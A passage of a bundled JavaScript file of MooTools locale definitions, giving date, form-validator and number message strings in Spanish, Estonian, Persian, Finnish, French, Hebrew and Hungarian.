	dateSuchAs: 'Por favor ingrese una fecha válida como {date}',
	dateInFormatMDY: 'Por favor ingrese una fecha válida, utulizando el formato DD/MM/YYYY (p.e. "31/12/1999")',
	email: 'Por favor, ingrese una dirección de e-mail válida. Por ejemplo, "fred@dominio.com".',
	url: 'Por favor ingrese una URL válida como http://www.example.com.',
	currencyDollar: 'Por favor ingrese una cantidad válida de pesos. Por ejemplo $100,00 .',
	oneRequired: 'Por favor ingrese algo para por lo menos una de estas entradas.',
	errorPrefix: 'Error: ',
	warningPrefix: 'Advertencia: ',

	// Form.Validator.Extras
	noSpace: 'No se permiten espacios en este campo.',
	reqChkByNode: 'No hay elementos seleccionados.',
	requiredChk: 'Este campo es obligatorio.',
	reqChkByName: 'Por favor selecciona una {label}.',
	match: 'Este campo necesita coincidir con el campo {matchName}',
	startDate: 'la fecha de inicio',
	endDate: 'la fecha de fin',
	currendDate: 'la fecha actual',
	afterDate: 'La fecha debe ser igual o posterior a {label}.',
	beforeDate: 'La fecha debe ser igual o anterior a {label}.',
	startMonth: 'Por favor selecciona un mes de origen',
	sameMonth: 'Estas dos fechas deben estar en el mismo mes - debes cambiar una u otra.'

});


/*
---

name: Locale.es-ES.Form.Validator

description: Form Validator messages for Spanish.

license: MIT-style license

authors:
  - Ãlfons Sanchez

requires:
  - /Locale

provides: [Locale.es-ES.Form.Validator]

...
*/

Locale.define('es-ES', 'FormValidator', {

	required: 'Este campo es obligatorio.',
	minLength: 'Por favor introduce al menos {minLength} caracteres (has introducido {length} caracteres).',
	maxLength: 'Por favor introduce no m&aacute;s de {maxLength} caracteres (has introducido {length} caracteres).',
	integer: 'Por favor introduce un n&uacute;mero entero en este campo. N&uacute;meros con decimales (p.e. 1,25) no se permiten.',
	numeric: 'Por favor introduce solo valores num&eacute;ricos en este campo (p.e. "1" o "1,1" o "-1" o "-1,1").',
	digits: 'Por favor usa solo n&uacute;meros y puntuaci&oacute;n en este campo (por ejemplo, un n&uacute;mero de tel&eacute;fono con guiones y puntos no esta permitido).',
	alpha: 'Por favor usa letras solo (a-z) en este campo. No se admiten espacios ni otros caracteres.',
	alphanum: 'Por favor, usa solo letras (a-z) o n&uacute;meros (0-9) en este campo. No se admiten espacios ni otros caracteres.',
	dateSuchAs: 'Por favor introduce una fecha v&aacute;lida como {date}',
	dateInFormatMDY: 'Por favor introduce una fecha v&aacute;lida como DD/MM/YYYY (p.e. "31/12/1999")',
	email: 'Por favor, introduce una direcci&oacute;n de email v&aacute;lida. Por ejemplo, "fred@domain.com".',
	url: 'Por favor introduce una URL v&aacute;lida como http://www.example.com.',
	currencyDollar: 'Por favor introduce una cantidad v&aacute;lida de €. Por ejemplo €100,00 .',
	oneRequired: 'Por favor introduce algo para por lo menos una de estas entradas.',
	errorPrefix: 'Error: ',
	warningPrefix: 'Aviso: ',

	// Form.Validator.Extras
	noSpace: 'No pueden haber espacios en esta entrada.',
	reqChkByNode: 'No hay elementos seleccionados.',
	requiredChk: 'Este campo es obligatorio.',
	reqChkByName: 'Por favor selecciona una {label}.',
	match: 'Este campo necesita coincidir con el campo {matchName}',
	startDate: 'la fecha de inicio',
	endDate: 'la fecha de fin',
	currendDate: 'la fecha actual',
	afterDate: 'La fecha debe ser igual o posterior a {label}.',
	beforeDate: 'La fecha debe ser igual o anterior a {label}.',
	startMonth: 'Por favor selecciona un mes de origen',
	sameMonth: 'Estas dos fechas deben estar en el mismo mes - debes cambiar una u otra.'

});


/*
---

name: Locale.et-EE.Date

description: Date messages for Estonian.

license: MIT-style license

authors:
  - Kevin Valdek

requires:
  - /Locale

provides: [Locale.et-EE.Date]

...
*/

Locale.define('et-EE', 'Date', {

	months: ['jaanuar', 'veebruar', 'märts', 'aprill', 'mai', 'juuni', 'juuli', 'august', 'september', 'oktoober', 'november', 'detsember'],
	months_abbr: ['jaan', 'veebr', 'märts', 'apr', 'mai', 'juuni', 'juuli', 'aug', 'sept', 'okt', 'nov', 'dets'],
	days: ['pühapäev', 'esmaspäev', 'teisipäev', 'kolmapäev', 'neljapäev', 'reede', 'laupäev'],
	days_abbr: ['pühap', 'esmasp', 'teisip', 'kolmap', 'neljap', 'reede', 'laup'],

	// Culture's date order: MM.DD.YYYY
	dateOrder: ['month', 'date', 'year'],
	shortDate: '%m.%d.%Y',
	shortTime: '%H:%M',
	AM: 'AM',
	PM: 'PM',
	firstDayOfWeek: 1,

	// Date.Extras
	ordinal: '',

	lessThanMinuteAgo: 'vähem kui minut aega tagasi',
	minuteAgo: 'umbes minut aega tagasi',
	minutesAgo: '{delta} minutit tagasi',
	hourAgo: 'umbes tund aega tagasi',
	hoursAgo: 'umbes {delta} tundi tagasi',
	dayAgo: '1 päev tagasi',
	daysAgo: '{delta} päeva tagasi',
	weekAgo: '1 nädal tagasi',
	weeksAgo: '{delta} nädalat tagasi',
	monthAgo: '1 kuu tagasi',
	monthsAgo: '{delta} kuud tagasi',
	yearAgo: '1 aasta tagasi',
	yearsAgo: '{delta} aastat tagasi',

	lessThanMinuteUntil: 'vähem kui minuti aja pärast',
	minuteUntil: 'umbes minuti aja pärast',
	minutesUntil: '{delta} minuti pärast',
	hourUntil: 'umbes tunni aja pärast',
	hoursUntil: 'umbes {delta} tunni pärast',
	dayUntil: '1 päeva pärast',
	daysUntil: '{delta} päeva pärast',
	weekUntil: '1 nädala pärast',
	weeksUntil: '{delta} nädala pärast',
	monthUntil: '1 kuu pärast',
	monthsUntil: '{delta} kuu pärast',
	yearUntil: '1 aasta pärast',
	yearsUntil: '{delta} aasta pärast'

});


/*
---

name: Locale.et-EE.Form.Validator

description: Form Validator messages for Estonian.

license: MIT-style license

authors:
  - Kevin Valdek

requires:
  - /Locale

provides: [Locale.et-EE.Form.Validator]

...
*/

Locale.define('et-EE', 'FormValidator', {

	required: 'Väli peab olema täidetud.',
	minLength: 'Palun sisestage vähemalt {minLength} tähte (te sisestasite {length} tähte).',
	maxLength: 'Palun ärge sisestage rohkem kui {maxLength} tähte (te sisestasite {length} tähte).',
	integer: 'Palun sisestage väljale täisarv. Kümnendarvud (näiteks 1.25) ei ole lubatud.',
	numeric: 'Palun sisestage ainult numbreid väljale (näiteks "1", "1.1", "-1" või "-1.1").',
	digits: 'Palun kasutage ainult numbreid ja kirjavahemärke (telefoninumbri sisestamisel on lubatud kasutada kriipse ja punkte).',
	alpha: 'Palun kasutage ainult tähti (a-z). Tühikud ja teised sümbolid on keelatud.',
	alphanum: 'Palun kasutage ainult tähti (a-z) või numbreid (0-9). Tühikud ja teised sümbolid on keelatud.',
	dateSuchAs: 'Palun sisestage kehtiv kuupäev kujul {date}',
	dateInFormatMDY: 'Palun sisestage kehtiv kuupäev kujul MM.DD.YYYY (näiteks: "12.31.1999").',
	email: 'Palun sisestage kehtiv e-maili aadress (näiteks: "fred@domain.com").',
	url: 'Palun sisestage kehtiv URL (näiteks: http://www.example.com).',
	currencyDollar: 'Palun sisestage kehtiv $ summa (näiteks: $100.00).',
	oneRequired: 'Palun sisestage midagi vähemalt ühele antud väljadest.',
	errorPrefix: 'Viga: ',
	warningPrefix: 'Hoiatus: ',

	// Form.Validator.Extras
	noSpace: 'Väli ei tohi sisaldada tühikuid.',
	reqChkByNode: 'Ükski väljadest pole valitud.',
	requiredChk: 'Välja täitmine on vajalik.',
	reqChkByName: 'Palun valige üks {label}.',
	match: 'Väli peab sobima {matchName} väljaga',
	startDate: 'algkuupäev',
	endDate: 'lõppkuupäev',
	currendDate: 'praegune kuupäev',
	afterDate: 'Kuupäev peab olema võrdne või pärast {label}.',
	beforeDate: 'Kuupäev peab olema võrdne või enne {label}.',
	startMonth: 'Palun valige algkuupäev.',
	sameMonth: 'Antud kaks kuupäeva peavad olema samas kuus - peate muutma ühte kuupäeva.'

});


/*
---

name: Locale.fa.Date

description: Date messages for Persian.

license: MIT-style license

authors:
  - Amir Hossein Hodjaty Pour

requires:
  - /Locale

provides: [Locale.fa.Date]

...
*/

Locale.define('fa', 'Date', {

	months: ['ژانویه', 'فوریه', 'مارس', 'آپریل', 'مه', 'ژوئن', 'ژوئیه', 'آگوست', 'سپتامبر', 'اکتبر', 'نوامبر', 'دسامبر'],
	months_abbr: ['1', '2', '3', '4', '5', '6', '7', '8', '9', '10', '11', '12'],
	days: ['یکشنبه', 'دوشنبه', 'سه شنبه', 'چهارشنبه', 'پنجشنبه', 'جمعه', 'شنبه'],
	days_abbr: ['ي', 'د', 'س', 'چ', 'پ', 'ج', 'ش'],

	// Culture's date order: MM/DD/YYYY
	dateOrder: ['month', 'date', 'year'],
	shortDate: '%m/%d/%Y',
	shortTime: '%I:%M%p',
	AM: 'ق.ظ',
	PM: 'ب.ظ',

	// Date.Extras
	ordinal: 'ام',

	lessThanMinuteAgo: 'کمتر از یک دقیقه پیش',
	minuteAgo: 'حدود یک دقیقه پیش',
	minutesAgo: '{delta} دقیقه پیش',
	hourAgo: 'حدود یک ساعت پیش',
	hoursAgo: 'حدود {delta} ساعت پیش',
	dayAgo: '1 روز پیش',
	daysAgo: '{delta} روز پیش',
	weekAgo: '1 هفته پیش',
	weeksAgo: '{delta} هفته پیش',
	monthAgo: '1 ماه پیش',
	monthsAgo: '{delta} ماه پیش',
	yearAgo: '1 سال پیش',
	yearsAgo: '{delta} سال پیش',

	lessThanMinuteUntil: 'کمتر از یک دقیقه از حالا',
	minuteUntil: 'حدود یک دقیقه از حالا',
	minutesUntil: '{delta} دقیقه از حالا',
	hourUntil: 'حدود یک ساعت از حالا',
	hoursUntil: 'حدود {delta} ساعت از حالا',
	dayUntil: '1 روز از حالا',
	daysUntil: '{delta} روز از حالا',
	weekUntil: '1 هفته از حالا',
	weeksUntil: '{delta} هفته از حالا',
	monthUntil: '1 ماه از حالا',
	monthsUntil: '{delta} ماه از حالا',
	yearUntil: '1 سال از حالا',
	yearsUntil: '{delta} سال از حالا'

});


/*
---

name: Locale.fa.Form.Validator

description: Form Validator messages for Persian.

license: MIT-style license

authors:
  - Amir Hossein Hodjaty Pour

requires:
  - /Locale

provides: [Locale.fa.Form.Validator]

...
*/

Locale.define('fa', 'FormValidator', {

	required: 'این فیلد الزامی است.',
	minLength: 'شما باید حداقل {minLength} حرف وارد کنید ({length} حرف وارد کرده اید).',
	maxLength: 'لطفا حداکثر {maxLength} حرف وارد کنید (شما {length} حرف وارد کرده اید).',
	integer: 'لطفا از عدد صحیح استفاده کنید. اعداد اعشاری (مانند 1.25) مجاز نیستند.',
	numeric: 'لطفا فقط داده عددی وارد کنید (مانند "1" یا "1.1" یا "1-" یا "1.1-").',
	digits: 'لطفا فقط از اعداد و علامتها در این فیلد استفاده کنید (برای مثال شماره تلفن با خط تیره و نقطه قابل قبول است).',
	alpha: 'لطفا فقط از حروف الفباء برای این بخش استفاده کنید. کاراکترهای دیگر و فاصله مجاز نیستند.',
	alphanum: 'لطفا فقط از حروف الفباء و اعداد در این بخش استفاده کنید. کاراکترهای دیگر و فاصله مجاز نیستند.',
	dateSuchAs: 'لطفا یک تاریخ معتبر مانند {date} وارد کنید.',
	dateInFormatMDY: 'لطفا یک تاریخ معتبر به شکل MM/DD/YYYY وارد کنید (مانند "12/31/1999").',
	email: 'لطفا یک آدرس ایمیل معتبر وارد کنید. برای مثال "fred@domain.com".',
	url: 'لطفا یک URL معتبر مانند http://www.example.com وارد کنید.',
	currencyDollar: 'لطفا یک محدوده معتبر برای این بخش وارد کنید مانند 100.00$ .',
	oneRequired: 'لطفا حداقل یکی از فیلدها را پر کنید.',
	errorPrefix: 'خطا: ',
	warningPrefix: 'هشدار: ',

	// Form.Validator.Extras
	noSpace: 'استفاده از فاصله در این بخش مجاز نیست.',
	reqChkByNode: 'موردی انتخاب نشده است.',
	requiredChk: 'این فیلد الزامی است.',
	reqChkByName: 'لطفا یک {label} را انتخاب کنید.',
	match: 'این فیلد باید با فیلد {matchName} مطابقت داشته باشد.',
	startDate: 'تاریخ شروع',
	endDate: 'تاریخ پایان',
	currendDate: 'تاریخ کنونی',
	afterDate: 'تاریخ میبایست برابر یا بعد از {label} باشد',
	beforeDate: 'تاریخ میبایست برابر یا قبل از {label} باشد',
	startMonth: 'لطفا ماه شروع را انتخاب کنید',
	sameMonth: 'این دو تاریخ باید در یک ماه باشند - شما باید یکی یا هر دو را تغییر دهید.',
	creditcard: 'شماره کارت اعتباری که وارد کرده اید معتبر نیست. لطفا شماره را بررسی کنید و مجددا تلاش کنید. {length} رقم وارد شده است.'

});


/*
---

name: Locale.fi-FI.Date

description: Date messages for Finnish.

license: MIT-style license

authors:
  - ksel

requires:
  - /Locale

provides: [Locale.fi-FI.Date]

...
*/

Locale.define('fi-FI', 'Date', {

	// NOTE: months and days are not capitalized in finnish
	months: ['tammikuu', 'helmikuu', 'maaliskuu', 'huhtikuu', 'toukokuu', 'kesäkuu', 'heinäkuu', 'elokuu', 'syyskuu', 'lokakuu', 'marraskuu', 'joulukuu'],

	// these abbreviations are really not much used in finnish because they obviously won't abbreviate very much. ;)
	// NOTE: sometimes one can see forms such as "tammi", "helmi", etc. but that is not proper finnish.
	months_abbr: ['tammik.', 'helmik.', 'maalisk.', 'huhtik.', 'toukok.', 'kesäk.', 'heinäk.', 'elok.', 'syysk.', 'lokak.', 'marrask.', 'jouluk.'],

	days: ['sunnuntai', 'maanantai', 'tiistai', 'keskiviikko', 'torstai', 'perjantai', 'lauantai'],
	days_abbr: ['su', 'ma', 'ti', 'ke', 'to', 'pe', 'la'],

	// Culture's date order: DD/MM/YYYY
	dateOrder: ['date', 'month', 'year'],
	shortDate: '%d.%m.%Y',
	shortTime: '%H:%M',
	AM: 'AM',
	PM: 'PM',
	firstDayOfWeek: 1,

	// Date.Extras
	ordinal: '.',

	lessThanMinuteAgo: 'vajaa minuutti sitten',
	minuteAgo: 'noin minuutti sitten',
	minutesAgo: '{delta} minuuttia sitten',
	hourAgo: 'noin tunti sitten',
	hoursAgo: 'noin {delta} tuntia sitten',
	dayAgo: 'päivä sitten',
	daysAgo: '{delta} päivää sitten',
	weekAgo: 'viikko sitten',
	weeksAgo: '{delta} viikkoa sitten',
	monthAgo: 'kuukausi sitten',
	monthsAgo: '{delta} kuukautta sitten',
	yearAgo: 'vuosi sitten',
	yearsAgo: '{delta} vuotta sitten',

	lessThanMinuteUntil: 'vajaan minuutin kuluttua',
	minuteUntil: 'noin minuutin kuluttua',
	minutesUntil: '{delta} minuutin kuluttua',
	hourUntil: 'noin tunnin kuluttua',
	hoursUntil: 'noin {delta} tunnin kuluttua',
	dayUntil: 'päivän kuluttua',
	daysUntil: '{delta} päivän kuluttua',
	weekUntil: 'viikon kuluttua',
	weeksUntil: '{delta} viikon kuluttua',
	monthUntil: 'kuukauden kuluttua',
	monthsUntil: '{delta} kuukauden kuluttua',
	yearUntil: 'vuoden kuluttua',
	yearsUntil: '{delta} vuoden kuluttua'

});


/*
---

name: Locale.fi-FI.Form.Validator

description: Form Validator messages for Finnish.

license: MIT-style license

authors:
  - ksel

requires:
  - /Locale

provides: [Locale.fi-FI.Form.Validator]

...
*/

Locale.define('fi-FI', 'FormValidator', {

	required: 'Tämä kenttä on pakollinen.',
	minLength: 'Ole hyvä ja anna vähintään {minLength} merkkiä (annoit {length} merkkiä).',
	maxLength: 'Älä anna enempää kuin {maxLength} merkkiä (annoit {length} merkkiä).',
	integer: 'Ole hyvä ja anna kokonaisluku. Luvut, joissa on desimaaleja (esim. 1.25) eivät ole sallittuja.',
	numeric: 'Anna tähän kenttään lukuarvo (kuten "1" tai "1.1" tai "-1" tai "-1.1").',
	digits: 'Käytä pelkästään numeroita ja välimerkkejä tässä kentässä (syötteet, kuten esim. puhelinnumero, jossa on väliviivoja, pilkkuja tai pisteitä, kelpaa).',
	alpha: 'Anna tähän kenttään vain kirjaimia (a-z). Välilyönnit tai muut merkit eivät ole sallittuja.',
	alphanum: 'Anna tähän kenttään vain kirjaimia (a-z) tai numeroita (0-9). Välilyönnit tai muut merkit eivät ole sallittuja.',
	dateSuchAs: 'Ole hyvä ja anna kelvollinen päivmäärä, kuten esimerkiksi {date}',
	dateInFormatMDY: 'Ole hyvä ja anna kelvollinen päivämäärä muodossa pp/kk/vvvv (kuten "12/31/1999")',
	email: 'Ole hyvä ja anna kelvollinen sähköpostiosoite (kuten esimerkiksi "matti@meikalainen.com").',
	url: 'Ole hyvä ja anna kelvollinen URL, kuten esimerkiksi http://www.example.com.',
	currencyDollar: 'Ole hyvä ja anna kelvollinen eurosumma (kuten esimerkiksi 100,00 EUR) .',
	oneRequired: 'Ole hyvä ja syötä jotakin ainakin johonkin näistä kentistä.',
	errorPrefix: 'Virhe: ',
	warningPrefix: 'Varoitus: ',

	// Form.Validator.Extras
	noSpace: 'Tässä syötteessä ei voi olla välilyöntejä',
	reqChkByNode: 'Ei valintoja.',
	requiredChk: 'Tämä kenttä on pakollinen.',
	reqChkByName: 'Ole hyvä ja valitse {label}.',
	match: 'Tämän kentän tulee vastata kenttää {matchName}',
	startDate: 'alkupäivämäärä',
	endDate: 'loppupäivämäärä',
	currendDate: 'nykyinen päivämäärä',
	afterDate: 'Päivämäärän tulisi olla sama tai myöhäisempi ajankohta kuin {label}.',
	beforeDate: 'Päivämäärän tulisi olla sama tai aikaisempi ajankohta kuin {label}.',
	startMonth: 'Ole hyvä ja valitse aloituskuukausi',
	sameMonth: 'Näiden kahden päivämäärän tulee olla saman kuun sisällä -- sinun pitää muuttaa jompaa kumpaa.',
	creditcard: 'Annettu luottokortin numero ei kelpaa. Ole hyvä ja tarkista numero sekä yritä uudelleen. {length} numeroa syötetty.'

});


/*
---

name: Locale.fi-FI.Number

description: Finnish number messages

license: MIT-style license

authors:
  - ksel

requires:
  - /Locale
  - /Locale.EU.Number

provides: [Locale.fi-FI.Number]

...
*/

Locale.define('fi-FI', 'Number', {

	group: ' ' // grouped by space

}).inherit('EU', 'Number');


/*
---

name: Locale.fr-FR.Date

description: Date messages for French.

license: MIT-style license

authors:
  - Nicolas Sorosac
  - Antoine Abt

requires:
  - /Locale

provides: [Locale.fr-FR.Date]

...
*/

Locale.define('fr-FR', 'Date', {

	months: ['Janvier', 'Février', 'Mars', 'Avril', 'Mai', 'Juin', 'Juillet', 'Août', 'Septembre', 'Octobre', 'Novembre', 'Décembre'],
	months_abbr: ['janv.', 'févr.', 'mars', 'avr.', 'mai', 'juin', 'juil.', 'août', 'sept.', 'oct.', 'nov.', 'déc.'],
	days: ['Dimanche', 'Lundi', 'Mardi', 'Mercredi', 'Jeudi', 'Vendredi', 'Samedi'],
	days_abbr: ['dim.', 'lun.', 'mar.', 'mer.', 'jeu.', 'ven.', 'sam.'],

	// Culture's date order: DD/MM/YYYY
	dateOrder: ['date', 'month', 'year'],
	shortDate: '%d/%m/%Y',
	shortTime: '%H:%M',
	AM: 'AM',
	PM: 'PM',
	firstDayOfWeek: 1,

	// Date.Extras
	ordinal: function(dayOfMonth){
		return (dayOfMonth > 1) ? '' : 'er';
	},

	lessThanMinuteAgo: "il y a moins d'une minute",
	minuteAgo: 'il y a une minute',
	minutesAgo: 'il y a {delta} minutes',
	hourAgo: 'il y a une heure',
	hoursAgo: 'il y a {delta} heures',
	dayAgo: 'il y a un jour',
	daysAgo: 'il y a {delta} jours',
	weekAgo: 'il y a une semaine',
	weeksAgo: 'il y a {delta} semaines',
	monthAgo: 'il y a 1 mois',
	monthsAgo: 'il y a {delta} mois',
	yearthAgo: 'il y a 1 an',
	yearsAgo: 'il y a {delta} ans',

	lessThanMinuteUntil: "dans moins d'une minute",
	minuteUntil: 'dans une minute',
	minutesUntil: 'dans {delta} minutes',
	hourUntil: 'dans une heure',
	hoursUntil: 'dans {delta} heures',
	dayUntil: 'dans un jour',
	daysUntil: 'dans {delta} jours',
	weekUntil: 'dans 1 semaine',
	weeksUntil: 'dans {delta} semaines',
	monthUntil: 'dans 1 mois',
	monthsUntil: 'dans {delta} mois',
	yearUntil: 'dans 1 an',
	yearsUntil: 'dans {delta} ans'

});


/*
---

name: Locale.fr-FR.Form.Validator

description: Form Validator messages for French.

license: MIT-style license

authors:
  - Miquel Hudin
  - Nicolas Sorosac

requires:
  - /Locale

provides: [Locale.fr-FR.Form.Validator]

...
*/

Locale.define('fr-FR', 'FormValidator', {

	required: 'Ce champ est obligatoire.',
	length: 'Veuillez saisir {length} caract&egrave;re(s) (vous avez saisi {elLength} caract&egrave;re(s)',
	minLength: 'Veuillez saisir un minimum de {minLength} caract&egrave;re(s) (vous avez saisi {length} caract&egrave;re(s)).',
	maxLength: 'Veuillez saisir un maximum de {maxLength} caract&egrave;re(s) (vous avez saisi {length} caract&egrave;re(s)).',
	integer: 'Veuillez saisir un nombre entier dans ce champ. Les nombres d&eacute;cimaux (ex : "1,25") ne sont pas autoris&eacute;s.',
	numeric: 'Veuillez saisir uniquement des chiffres dans ce champ (ex : "1" ou "1,1" ou "-1" ou "-1,1").',
	digits: "Veuillez saisir uniquement des chiffres et des signes de ponctuation dans ce champ (ex : un num&eacute;ro de t&eacute;l&eacute;phone avec des traits d'union est autoris&eacute;).",
	alpha: 'Veuillez saisir uniquement des lettres (a-z) dans ce champ. Les espaces ou autres caract&egrave;res ne sont pas autoris&eacute;s.',
	alphanum: 'Veuillez saisir uniquement des lettres (a-z) ou des chiffres (0-9) dans ce champ. Les espaces ou autres caract&egrave;res ne sont pas autoris&eacute;s.',
	dateSuchAs: 'Veuillez saisir une date correcte comme {date}',
	dateInFormatMDY: 'Veuillez saisir une date correcte, au format JJ/MM/AAAA (ex : "31/11/1999").',
	email: 'Veuillez saisir une adresse de courrier &eacute;lectronique. Par example "fred@domaine.com".',
	url: 'Veuillez saisir une URL, comme http://www.example.com.',
	currencyDollar: 'Veuillez saisir une quantit&eacute; correcte. Par example 100,00&euro;.',
	oneRequired: 'Veuillez s&eacute;lectionner au moins une de ces options.',
	errorPrefix: 'Erreur : ',
	warningPrefix: 'Attention : ',

	// Form.Validator.Extras
	noSpace: "Ce champ n'accepte pas les espaces.",
	reqChkByNode: "Aucun &eacute;l&eacute;ment n'est s&eacute;lectionn&eacute;.",
	requiredChk: 'Ce champ est obligatoire.',
	reqChkByName: 'Veuillez s&eacute;lectionner un(e) {label}.',
	match: 'Ce champ doit correspondre avec le champ {matchName}.',
	startDate: 'date de d&eacute;but',
	endDate: 'date de fin',
	currendDate: 'date actuelle',
	afterDate: 'La date doit &ecirc;tre identique ou post&eacute;rieure &agrave; {label}.',
	beforeDate: 'La date doit &ecirc;tre identique ou ant&eacute;rieure &agrave; {label}.',
	startMonth: 'Veuillez s&eacute;lectionner un mois de d&eacute;but.',
	sameMonth: 'Ces deux dates doivent &ecirc;tre dans le m&ecirc;me mois - vous devez en modifier une.',
	creditcard: 'Le num&eacute;ro de carte de cr&eacute;dit est invalide. Merci de v&eacute;rifier le num&eacute;ro et de r&eacute;essayer. Vous avez entr&eacute; {length} chiffre(s).'

});


/*
---

name: Locale.fr-FR.Number

description: Number messages for French.

license: MIT-style license

authors:
  - Arian Stolwijk
  - sv1l

requires:
  - /Locale
  - /Locale.EU.Number

provides: [Locale.fr-FR.Number]

...
*/

Locale.define('fr-FR', 'Number', {

	group: ' ' // In fr-FR localization, group character is a blank space

}).inherit('EU', 'Number');


/*
---

name: Locale.he-IL.Date

description: Date messages for Hebrew.

license: MIT-style license

authors:
  - Elad Ossadon

requires:
  - /Locale

provides: [Locale.he-IL.Date]

...
*/

Locale.define('he-IL', 'Date', {

	months: ['ינואר', 'פברואר', 'מרץ', 'אפריל', 'מאי', 'יוני', 'יולי', 'אוגוסט', 'ספטמבר', 'אוקטובר', 'נובמבר', 'דצמבר'],
	months_abbr: ['ינואר', 'פברואר', 'מרץ', 'אפריל', 'מאי', 'יוני', 'יולי', 'אוגוסט', 'ספטמבר', 'אוקטובר', 'נובמבר', 'דצמבר'],
	days: ['ראשון', 'שני', 'שלישי', 'רביעי', 'חמישי', 'שישי', 'שבת'],
	days_abbr: ['ראשון', 'שני', 'שלישי', 'רביעי', 'חמישי', 'שישי', 'שבת'],

	// Culture's date order: MM/DD/YYYY
	dateOrder: ['date', 'month', 'year'],
	shortDate: '%d/%m/%Y',
	shortTime: '%H:%M',
	AM: 'AM',
	PM: 'PM',
	firstDayOfWeek: 0,

	// Date.Extras
	ordinal: '',

	lessThanMinuteAgo: 'לפני פחות מדקה',
	minuteAgo: 'לפני כדקה',
	minutesAgo: 'לפני {delta} דקות',
	hourAgo: 'לפני כשעה',
	hoursAgo: 'לפני {delta} שעות',
	dayAgo: 'לפני יום',
	daysAgo: 'לפני {delta} ימים',
	weekAgo: 'לפני שבוע',
	weeksAgo: 'לפני {delta} שבועות',
	monthAgo: 'לפני חודש',
	monthsAgo: 'לפני {delta} חודשים',
	yearAgo: 'לפני שנה',
	yearsAgo: 'לפני {delta} שנים',

	lessThanMinuteUntil: 'בעוד פחות מדקה',
	minuteUntil: 'בעוד כדקה',
	minutesUntil: 'בעוד {delta} דקות',
	hourUntil: 'בעוד כשעה',
	hoursUntil: 'בעוד {delta} שעות',
	dayUntil: 'בעוד יום',
	daysUntil: 'בעוד {delta} ימים',
	weekUntil: 'בעוד שבוע',
	weeksUntil: 'בעוד {delta} שבועות',
	monthUntil: 'בעוד חודש',
	monthsUntil: 'בעוד {delta} חודשים',
	yearUntil: 'בעוד שנה',
	yearsUntil: 'בעוד {delta} שנים'

});


/*
---

name: Locale.he-IL.Form.Validator

description: Form Validator messages for Hebrew.

license: MIT-style license

authors:
  - Elad Ossadon

requires:
  - /Locale

provides: [Locale.he-IL.Form.Validator]

...
*/

Locale.define('he-IL', 'FormValidator', {

	required: 'נא למלא שדה זה.',
	minLength: 'נא להזין לפחות {minLength} תווים (הזנת {length} תווים).',
	maxLength: 'נא להזין עד {maxLength} תווים (הזנת {length} תווים).',
	integer: 'נא להזין מספר שלם לשדה זה. מספרים עשרוניים (כמו 1.25) אינם חוקיים.',
	numeric: 'נא להזין ערך מספרי בלבד בשדה זה (כמו "1", "1.1", "-1" או "-1.1").',
	digits: 'נא להזין רק ספרות וסימני הפרדה בשדה זה (למשל, מספר טלפון עם מקפים או נקודות הוא חוקי).',
	alpha: 'נא להזין רק אותיות באנגלית (a-z) בשדה זה. רווחים או תווים אחרים אינם חוקיים.',
	alphanum: 'נא להזין רק אותריות באנגלית (a-z) או ספרות (0-9) בשדה זה. אווחרים או תווים אחרים אינם חוקיים.',
	dateSuchAs: 'נא להזין תאריך חוקי, כמו {date}',
	dateInFormatMDY: 'נא להזין תאריך חוקי בפורמט MM/DD/YYYY (כמו "12/31/1999")',
	email: 'נא להזין כתובת אימייל חוקית. לדוגמה: "fred@domain.com".',
	url: 'נא להזין כתובת אתר חוקית, כמו http://www.example.com.',
	currencyDollar: 'נא להזין סכום דולרי חוקי. לדוגמה $100.00.',
	oneRequired: 'נא לבחור לפחות בשדה אחד.',
	errorPrefix: 'שגיאה: ',
	warningPrefix: 'אזהרה: ',

	// Form.Validator.Extras
	noSpace: 'אין להזין רווחים בשדה זה.',
	reqChkByNode: 'נא לבחור אחת מהאפשרויות.',
	requiredChk: 'שדה זה נדרש.',
	reqChkByName: 'נא לבחור {label}.',
	match: 'שדה זה צריך להתאים לשדה {matchName}',
	startDate: 'תאריך ההתחלה',
	endDate: 'תאריך הסיום',
	currendDate: 'התאריך הנוכחי',
	afterDate: 'התאריך צריך להיות זהה או אחרי {label}.',
	beforeDate: 'התאריך צריך להיות זהה או לפני {label}.',
	startMonth: 'נא לבחור חודש התחלה',
	sameMonth: 'שני תאריכים אלה צריכים להיות באותו חודש - נא לשנות אחד התאריכים.',
	creditcard: 'מספר כרטיס האשראי שהוזן אינו חוקי. נא לבדוק שנית. הוזנו {length} ספרות.'

});


/*
---

name: Locale.he-IL.Number

description: Number messages for Hebrew.

license: MIT-style license

authors:
  - Elad Ossadon

requires:
  - /Locale

provides: [Locale.he-IL.Number]

...
*/

Locale.define('he-IL', 'Number', {

	decimal: '.',
	group: ',',

	currency: {
		suffix: ' ₪'
	}

});


/*
---

name: Locale.hu-HU.Date

description: Date messages for Hungarian.

license: MIT-style license

authors:
  - Zsolt Szegheő

requires:
  - /Locale

provides: [Locale.hu-HU.Date]

...
*/

Locale.define('hu-HU', 'Date', {

	months: ['Január', 'Február', 'Március', 'Április', 'Május', 'Június', 'Július', 'Augusztus', 'Szeptember', 'Október', 'November', 'December'],
	months_abbr: ['jan.', 'febr.', 'márc.', 'ápr.', 'máj.', 'jún.', 'júl.', 'aug.', 'szept.', 'okt.', 'nov.', 'dec.'],
	days: ['Vasárnap', 'Hétfő', 'Kedd', 'Szerda', 'Csütörtök', 'Péntek', 'Szombat'],
	days_abbr: ['V', 'H', 'K', 'Sze', 'Cs', 'P', 'Szo'],

	// Culture's date order: YYYY.MM.DD.
	dateOrder: ['year', 'month', 'date'],
	shortDate: '%Y.%m.%d.',
	shortTime: '%I:%M',
	AM: 'de.',
	PM: 'du.',
	firstDayOfWeek: 1,

	// Date.Extras
	ordinal: '.',

	lessThanMinuteAgo: 'alig egy perce',
	minuteAgo: 'egy perce',
	minutesAgo: '{delta} perce',
	hourAgo: 'egy órája',
	hoursAgo: '{delta} órája',
	dayAgo: '1 napja',
	daysAgo: '{delta} napja',
	weekAgo: '1 hete',
	weeksAgo: '{delta} hete',
	monthAgo: '1 hónapja',
	monthsAgo: '{delta} hónapja',
	yearAgo: '1 éve',
	yearsAgo: '{delta} éve',

	lessThanMinuteUntil: 'alig egy perc múlva',
	minuteUntil: 'egy perc múlva',
	minutesUntil: '{delta} perc múlva',
	hourUntil: 'egy óra múlva',
	hoursUntil: '{delta} óra múlva',
	dayUntil: '1 nap múlva',
	daysUntil: '{delta} nap múlva',
	weekUntil: '1 hét múlva',
	weeksUntil: '{delta} hét múlva',
	monthUntil: '1 hónap múlva',
